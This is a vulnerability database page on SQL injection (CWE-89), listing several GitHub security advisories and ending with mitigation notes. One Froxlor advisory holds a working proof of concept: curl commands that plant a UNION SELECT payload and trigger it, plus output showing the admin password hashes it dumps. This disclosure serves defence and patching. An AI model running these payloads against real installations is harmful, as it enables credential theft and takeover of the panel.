CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
29430 vulnerabilities reference this CWE, most recent first.
GHSA-W24G-XJX9-4966
Vulnerability from github – Published: 2024-01-04 15:30 – Updated: 2024-01-04 15:30Online Notice Board System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. The 'dd' parameter of the registration.php resource does not validate the characters received and they are sent unfiltered to the database.
{
"affected": [],
"aliases": [
"CVE-2023-50743"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-04T14:15:41Z",
"severity": "CRITICAL"
},
"details": "Online Notice Board System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. The \u0027dd\u0027 parameter of the registration.php resource does not validate the characters received and they are sent unfiltered to the database. \n\n",
"id": "GHSA-w24g-xjx9-4966",
"modified": "2024-01-04T15:30:22Z",
"published": "2024-01-04T15:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50743"
},
{
"type": "WEB",
"url": "https://fluidattacks.com/advisories/perahia"
},
{
"type": "WEB",
"url": "https://www.kashipara.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W24H-V9QH-8GXJ
Vulnerability from github – Published: 2022-04-13 00:00 – Updated: 2024-09-20 15:09A SQL injection issue was discovered in QuerySet.explain() in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. This occurs by passing a crafted dictionary (with dictionary expansion) as the **options argument, and placing the injection payload in an option name.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "2.2"
},
{
"fixed": "2.2.28"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "3.2"
},
{
"fixed": "3.2.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "4.0"
},
{
"fixed": "4.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-28347"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2022-04-22T20:32:48Z",
"nvd_published_at": "2022-04-12T05:15:00Z",
"severity": "CRITICAL"
},
"details": "A SQL injection issue was discovered in `QuerySet.explain()` in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. This occurs by passing a crafted dictionary (with dictionary expansion) as the `**options` argument, and placing the injection payload in an option name.",
"id": "GHSA-w24h-v9qh-8gxj",
"modified": "2024-09-20T15:09:12Z",
"published": "2022-04-13T00:00:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28347"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/00b0fc50e1738c7174c495464a5ef069408a4402"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/29a6c98b4c13af82064f993f0acc6e8fafa4d3f5"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/6723a26e59b0b5429a0c5873941e01a2e1bdbb81"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/9e19accb6e0a00ba77d5a95a91675bf18877c72d"
},
{
"type": "WEB",
"url": "https://docs.djangoproject.com/en/4.0/releases/security"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-w24h-v9qh-8gxj"
},
{
"type": "PACKAGE",
"url": "https://github.com/django/django"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2022-191.yaml"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#!forum/django-announce"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HWY6DQWRVBALV73BPUVBXC3QIYUM24IK"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LTZVAKU5ALQWOKFTPISE257VCVIYGFQI"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2022/dsa-5254"
},
{
"type": "WEB",
"url": "https://www.djangoproject.com/weblog/2022/apr/11/security-releases"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/04/11/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SQL Injection in Django"
}
GHSA-W24Q-F26J-WFQJ
Vulnerability from github – Published: 2025-02-25 00:31 – Updated: 2025-02-25 15:34NovaCHRON Zeitsysteme GmbH & Co. KG Smart Time Plus v8.x to v8.6 was discovered to contain a SQL injection vulnerability via the getCookieNames method in the smarttimeplus/MySQLConnection endpoint.
{
"affected": [],
"aliases": [
"CVE-2024-53544"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-24T23:15:10Z",
"severity": "CRITICAL"
},
"details": "NovaCHRON Zeitsysteme GmbH \u0026 Co. KG Smart Time Plus v8.x to v8.6 was discovered to contain a SQL injection vulnerability via the getCookieNames method in the smarttimeplus/MySQLConnection endpoint.",
"id": "GHSA-w24q-f26j-wfqj",
"modified": "2025-02-25T15:34:35Z",
"published": "2025-02-25T00:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53544"
},
{
"type": "WEB",
"url": "https://secure77.de/smart-time-plus-rce-cve-2024-53543"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W258-W769-3M5G
Vulnerability from github – Published: 2024-11-25 18:33 – Updated: 2024-11-26 18:38An issue was discovered in Centreon centreon-dsm-server 24.10.x before 24.10.0, 24.04.x before 24.04.3, 23.10.x before 23.10.1, 23.04.x before 23.04.3, and 22.10.x before 22.10.2. SQL injection can occur in the form to configure Centreon DSM slots. Exploitation is only accessible to authenticated users with high-privileged access.
{
"affected": [],
"aliases": [
"CVE-2024-45755"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-25T17:15:12Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Centreon centreon-dsm-server 24.10.x before 24.10.0, 24.04.x before 24.04.3, 23.10.x before 23.10.1, 23.04.x before 23.04.3, and 22.10.x before 22.10.2. SQL injection can occur in the form to configure Centreon DSM slots. Exploitation is only accessible to authenticated users with high-privileged access.",
"id": "GHSA-w258-w769-3m5g",
"modified": "2024-11-26T18:38:52Z",
"published": "2024-11-25T18:33:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45755"
},
{
"type": "WEB",
"url": "https://github.com/centreon/centreon/releases"
},
{
"type": "WEB",
"url": "https://thewatch.centreon.com/latest-security-bulletins-64/cve-2024-45755-centreon-dsm-high-severity-4066"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W25J-RM24-9F7R
Vulnerability from github – Published: 2022-05-14 00:01 – Updated: 2022-05-24 00:00Merchandise Online Store v1.0 is vulnerable to SQL Injection via /vloggers_merch/classes/Master.php?f=delete_cart.
{
"affected": [],
"aliases": [
"CVE-2022-30395"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-13T15:15:00Z",
"severity": "CRITICAL"
},
"details": "Merchandise Online Store v1.0 is vulnerable to SQL Injection via /vloggers_merch/classes/Master.php?f=delete_cart.",
"id": "GHSA-w25j-rm24-9f7r",
"modified": "2022-05-24T00:00:36Z",
"published": "2022-05-14T00:01:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30395"
},
{
"type": "WEB",
"url": "https://github.com/k0xx11/bug_report/blob/main/vendors/oretnom23/merchandise-online-store/SQLi-7.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W262-HPQJ-C8R8
Vulnerability from github – Published: 2026-07-10 12:31 – Updated: 2026-07-10 12:31Dell PowerFlex Manager, Version prior to 5.1.0.1, contain(s) an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information exposure.
{
"affected": [],
"aliases": [
"CVE-2026-56689"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-10T12:17:23Z",
"severity": "HIGH"
},
"details": "Dell PowerFlex Manager, Version prior to 5.1.0.1, contain(s) an Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027) vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information exposure.",
"id": "GHSA-w262-hpqj-c8r8",
"modified": "2026-07-10T12:31:44Z",
"published": "2026-07-10T12:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56689"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000477538/dsa-2026-066-security-update-for-powerflex-software-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W263-4PFP-Q6VR
Vulnerability from github – Published: 2022-05-02 03:57 – Updated: 2025-04-11 03:32SQL injection vulnerability in the Webesse Image Gallery (ws_gallery) extension 1.0.4 and earlier for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2009-4703"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-03-15T21:30:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in the Webesse Image Gallery (ws_gallery) extension 1.0.4 and earlier for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.",
"id": "GHSA-w263-4pfp-q6vr",
"modified": "2025-04-11T03:32:18Z",
"published": "2022-05-02T03:57:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4703"
},
{
"type": "WEB",
"url": "http://typo3.org/teams/security/security-bulletins/typo3-sa-2009-010"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W272-G5QV-39CW
Vulnerability from github – Published: 2023-09-14 21:30 – Updated: 2026-05-21 09:32Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Movus allows SQL Injection.This issue affects Movus: before 20230913.
{
"affected": [],
"aliases": [
"CVE-2023-4766"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-14T19:16:51Z",
"severity": "CRITICAL"
},
"details": "Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027) vulnerability in Movus allows SQL Injection.This issue affects Movus: before 20230913.",
"id": "GHSA-w272-g5qv-39cw",
"modified": "2026-05-21T09:32:05Z",
"published": "2023-09-14T21:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4766"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-23-0524"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-23-0524"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W277-7JFC-FQC3
Vulnerability from github – Published: 2025-03-17 18:31 – Updated: 2025-03-17 18:31A vulnerability has been found in code-projects Modern Bag 1.0 and classified as critical. This vulnerability affects unknown code of the file /login.php. The manipulation of the argument userEmail/userPassword leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-2385"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-17T17:15:41Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in code-projects Modern Bag 1.0 and classified as critical. This vulnerability affects unknown code of the file /login.php. The manipulation of the argument userEmail/userPassword leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-w277-7jfc-fqc3",
"modified": "2025-03-17T18:31:52Z",
"published": "2025-03-17T18:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2385"
},
{
"type": "WEB",
"url": "https://github.com/MiniSweetBeen/src/issues/2"
},
{
"type": "WEB",
"url": "https://code-projects.org"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.299884"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.299884"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.516544"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W27M-RMMF-G5W4
Vulnerability from github – Published: 2026-08-18 20:47 – Updated: 2026-08-18 20:47Summary
A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the panel_admins.ip column via the Admins.add or Admins.update endpoint. The payload executes as a UNION-based SQL injection the next time IpsAndPorts.listing is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.
Details
The vulnerability spans two code locations that form a store-then-trigger chain.
Stage 1 — Unsanitized array stored as JSON — lib/Froxlor/Api/Commands/Admins.php:251,358
$ipaddress = $this->getParam('ipaddress', true, -1);
// No type enforcement or content validation on $ipaddress.
// PHP evaluates (is_array([...]) && non_empty_array > 0) as true,
// so any attacker-controlled array is JSON-encoded and stored verbatim.
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && $ipaddress > 0
? json_encode($ipaddress) // ← attacker payload written to panel_admins.ip
: -1),
The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.
Stage 2 — JSON payload imploded directly into SQL — lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77
if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) {
// json_decode restores the array; implode joins elements with no casting or escaping
$ip_where = "WHERE `id` IN (" . implode(", ", json_decode($this->getUserDetail('ip'), true)) . ")";
}
$result_stmt = Database::prepare(
"SELECT * FROM `panel_ipsandports` " . $ip_where . ...
);
// Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (<PAYLOAD>)
The same unsanitized implode pattern exists in lib/Froxlor/Api/Commands/Domains.php:1016.
Every other place in the codebase that builds dynamic IN clauses uses either integer casting ((int)) or parameterized subqueries. The ip-column path is the sole exception.
PoC
Prerequisites: Valid Froxlor admin API key with change_serversettings = 1.
Step 1 — Poison: store the UNION SELECT payload via Admins.add
curl -s -u "APIKEY:SECRET" http://TARGET/api.php \
-H "Content-Type: application/json" \
-d '{
"command": "Admins.add",
"params": {
"name": "x",
"new_loginname": "eviladmin",
"email": "x@x.local",
"admin_password": "Passw0rd!123",
"ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]
}
}'
The ip column of panel_admins for eviladmin now contains:
["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]
Step 2 — Trigger: call IpsAndPorts.listing as the poisoned account
No interaction beyond a single API call. Visiting the following URL while authenticated as eviladmin is sufficient:
http://TARGET/admin_index.php?page=ipsandports
Or directly via API:
curl -s -u "EVIL_APIKEY:EVIL_SECRET" http://TARGET/api.php \
-H "Content-Type: application/json" \
-d '{"command":"IpsAndPorts.listing"}'
Confirmed output from live instance (localhost:8290):
{
"data": {
"list": [
{
"ip": "admin",
"port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu"
},
{
"ip": "eviladmin",
"port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S"
}
]
}
}
The ip field returns loginname and port returns the bcrypt password hash of every administrator in the database.
Minimum reproduction — two CMD single-line commands:
Step 1: poison (run once with any admin API key that has change_serversettings=1):
curl -su "APIKEY:SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"Admins.add\",\"params\":{\"name\":\"x\",\"new_loginname\":\"poc\",\"email\":\"x@x.local\",\"admin_password\":\"Passw0rd!1\",\"ipaddress\":[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]}}"
Step 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):
curl -su "POC_APIKEY:POC_SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"
Confirmed output from live instance (localhost:8290) — step 2 alone:
curl -su "evil_key_abc123:evil_secret_xyz456" http://localhost:8290/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"
{
"data": {
"list": [
{ "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" },
{ "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" }
]
}
}
Impact
Type: Second-Order SQL Injection (UNION-based)
Who is impacted: Any Froxlor installation with the API enabled and at least one admin account that has change_serversettings = 1. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.
Consequences:
- Full credential dump — all admin and customer login names and bcrypt password hashes are extractable in a single request.
- Lateral movement — cracked hashes allow login to other admin accounts or customer accounts.
- Data exfiltration — the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys.
- Privilege escalation — a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.
Fix
Option A (recommended) — Integer-cast all elements before implode:
// lib/Froxlor/Api/Commands/IpsAndPorts.php:72
$ip_ids = array_map('intval', json_decode($this->getUserDetail('ip'), true));
$ip_where = "WHERE `id` IN (" . implode(", ", $ip_ids) . ")";
Option B — Validate at storage time in Admins.add / Admins.update:
// lib/Froxlor/Api/Commands/Admins.php
if (is_array($ipaddress)) {
$ipaddress = array_filter($ipaddress, 'is_numeric');
}
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && count($ipaddress) > 0
? json_encode(array_map('intval', $ipaddress))
: -1),
Apply the same fix to the identical pattern in Domains.php:1016.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "froxlor/froxlor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54348"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T20:47:59Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nA second-order SQL injection vulnerability in Froxlor\u0027s admin API allows an authenticated administrator to store a crafted SQL payload in the `panel_admins.ip` column via the `Admins.add` or `Admins.update` endpoint. The payload executes as a UNION-based SQL injection the next time `IpsAndPorts.listing` is called by the poisoned account, returning arbitrary data from the database \u2014 including all administrator login names and bcrypt password hashes.\n\n---\n\n### Details\n\nThe vulnerability spans two code locations that form a store-then-trigger chain.\n\n**Stage 1 \u2014 Unsanitized array stored as JSON** \u2014 `lib/Froxlor/Api/Commands/Admins.php:251,358`\n\n```php\n$ipaddress = $this-\u003egetParam(\u0027ipaddress\u0027, true, -1);\n// No type enforcement or content validation on $ipaddress.\n// PHP evaluates (is_array([...]) \u0026\u0026 non_empty_array \u003e 0) as true,\n// so any attacker-controlled array is JSON-encoded and stored verbatim.\n\u0027ip\u0027 =\u003e empty($ipaddress) ? \"\" : (is_array($ipaddress) \u0026\u0026 $ipaddress \u003e 0\n ? json_encode($ipaddress) // \u2190 attacker payload written to panel_admins.ip\n : -1),\n```\n\nThe INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.\n\n**Stage 2 \u2014 JSON payload imploded directly into SQL** \u2014 `lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77`\n\n```php\nif (!empty($this-\u003egetUserDetail(\u0027ip\u0027)) \u0026\u0026 $this-\u003egetUserDetail(\u0027ip\u0027) != -1) {\n // json_decode restores the array; implode joins elements with no casting or escaping\n $ip_where = \"WHERE `id` IN (\" . implode(\", \", json_decode($this-\u003egetUserDetail(\u0027ip\u0027), true)) . \")\";\n}\n$result_stmt = Database::prepare(\n \"SELECT * FROM `panel_ipsandports` \" . $ip_where . ...\n);\n// Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (\u003cPAYLOAD\u003e)\n```\n\nThe same unsanitized implode pattern exists in `lib/Froxlor/Api/Commands/Domains.php:1016`.\n\nEvery other place in the codebase that builds dynamic `IN` clauses uses either integer casting (`(int)`) or parameterized subqueries. The `ip`-column path is the sole exception.\n\n---\n\n### PoC\n\u003cimg width=\"2452\" height=\"1476\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95\" /\u003e\n\n\n\n**Prerequisites:** Valid Froxlor admin API key with `change_serversettings = 1`.\n\n**Step 1 \u2014 Poison: store the UNION SELECT payload via `Admins.add`**\n\n```bash\ncurl -s -u \"APIKEY:SECRET\" http://TARGET/api.php \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"command\": \"Admins.add\",\n \"params\": {\n \"name\": \"x\",\n \"new_loginname\": \"eviladmin\",\n \"email\": \"x@x.local\",\n \"admin_password\": \"Passw0rd!123\",\n \"ipaddress\": [\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]\n }\n }\u0027\n```\n\nThe `ip` column of `panel_admins` for `eviladmin` now contains:\n```\n[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]\n```\n\n**Step 2 \u2014 Trigger: call `IpsAndPorts.listing` as the poisoned account**\n\nNo interaction beyond a single API call. Visiting the following URL while authenticated as `eviladmin` is sufficient:\n\n```\nhttp://TARGET/admin_index.php?page=ipsandports\n```\n\nOr directly via API:\n\n```bash\ncurl -s -u \"EVIL_APIKEY:EVIL_SECRET\" http://TARGET/api.php \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"command\":\"IpsAndPorts.listing\"}\u0027\n```\n\n**Confirmed output from live instance (`localhost:8290`):**\n\n```json\n{\n \"data\": {\n \"list\": [\n {\n \"ip\": \"admin\",\n \"port\": \"$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu\"\n },\n {\n \"ip\": \"eviladmin\",\n \"port\": \"$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S\"\n }\n ]\n }\n}\n```\n\nThe `ip` field returns `loginname` and `port` returns the bcrypt password hash of every administrator in the database.\n\n**Minimum reproduction \u2014 two CMD single-line commands:**\n\nStep 1: poison (run once with any admin API key that has `change_serversettings=1`):\n\n```cmd\ncurl -su \"APIKEY:SECRET\" http://TARGET/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"Admins.add\\\",\\\"params\\\":{\\\"name\\\":\\\"x\\\",\\\"new_loginname\\\":\\\"poc\\\",\\\"email\\\":\\\"x@x.local\\\",\\\"admin_password\\\":\\\"Passw0rd!1\\\",\\\"ipaddress\\\":[\\\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\\\"]}}\"\n```\n\nStep 2: trigger (run with the poisoned account\u0027s API key \u2014 visiting the page in a browser also suffices):\n\n```cmd\ncurl -su \"POC_APIKEY:POC_SECRET\" http://TARGET/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"IpsAndPorts.listing\\\"}\"\n```\n\n**Confirmed output from live instance (`localhost:8290`) \u2014 step 2 alone:**\n\n```cmd\ncurl -su \"evil_key_abc123:evil_secret_xyz456\" http://localhost:8290/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"IpsAndPorts.listing\\\"}\"\n```\n\n```json\n{\n \"data\": {\n \"list\": [\n { \"ip\": \"admin\", \"port\": \"$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu\" },\n { \"ip\": \"eviladmin\", \"port\": \"$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S\" }\n ]\n }\n}\n```\n\n---\n\n### Impact\n\n**Type:** Second-Order SQL Injection (UNION-based)\n\n**Who is impacted:** Any Froxlor installation with the API enabled and at least one admin account that has `change_serversettings = 1`. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.\n\nConsequences:\n\n- **Full credential dump** \u2014 all admin and customer login names and bcrypt password hashes are extractable in a single request.\n- **Lateral movement** \u2014 cracked hashes allow login to other admin accounts or customer accounts.\n- **Data exfiltration** \u2014 the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys.\n- **Privilege escalation** \u2014 a reseller admin (limited permissions) can extract the super-admin\u0027s credentials and gain full control of the panel.\n\n---\n\n### Fix\n\n**Option A (recommended) \u2014 Integer-cast all elements before implode:**\n\n```php\n// lib/Froxlor/Api/Commands/IpsAndPorts.php:72\n$ip_ids = array_map(\u0027intval\u0027, json_decode($this-\u003egetUserDetail(\u0027ip\u0027), true));\n$ip_where = \"WHERE `id` IN (\" . implode(\", \", $ip_ids) . \")\";\n```\n\n**Option B \u2014 Validate at storage time in `Admins.add` / `Admins.update`:**\n\n```php\n// lib/Froxlor/Api/Commands/Admins.php\nif (is_array($ipaddress)) {\n $ipaddress = array_filter($ipaddress, \u0027is_numeric\u0027);\n}\n\u0027ip\u0027 =\u003e empty($ipaddress) ? \"\" : (is_array($ipaddress) \u0026\u0026 count($ipaddress) \u003e 0\n ? json_encode(array_map(\u0027intval\u0027, $ipaddress))\n : -1),\n```\n\nApply the same fix to the identical pattern in `Domains.php:1016`.\n\n---",
"id": "GHSA-w27m-rmmf-g5w4",
"modified": "2026-08-18T20:47:59Z",
"published": "2026-08-18T20:47:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-w27m-rmmf-g5w4"
},
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/commit/a1eaca5a1601c8a30e00814a4fc73ad0c185f89e"
},
{
"type": "PACKAGE",
"url": "https://github.com/froxlor/froxlor"
},
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/releases/tag/2.3.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration"
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
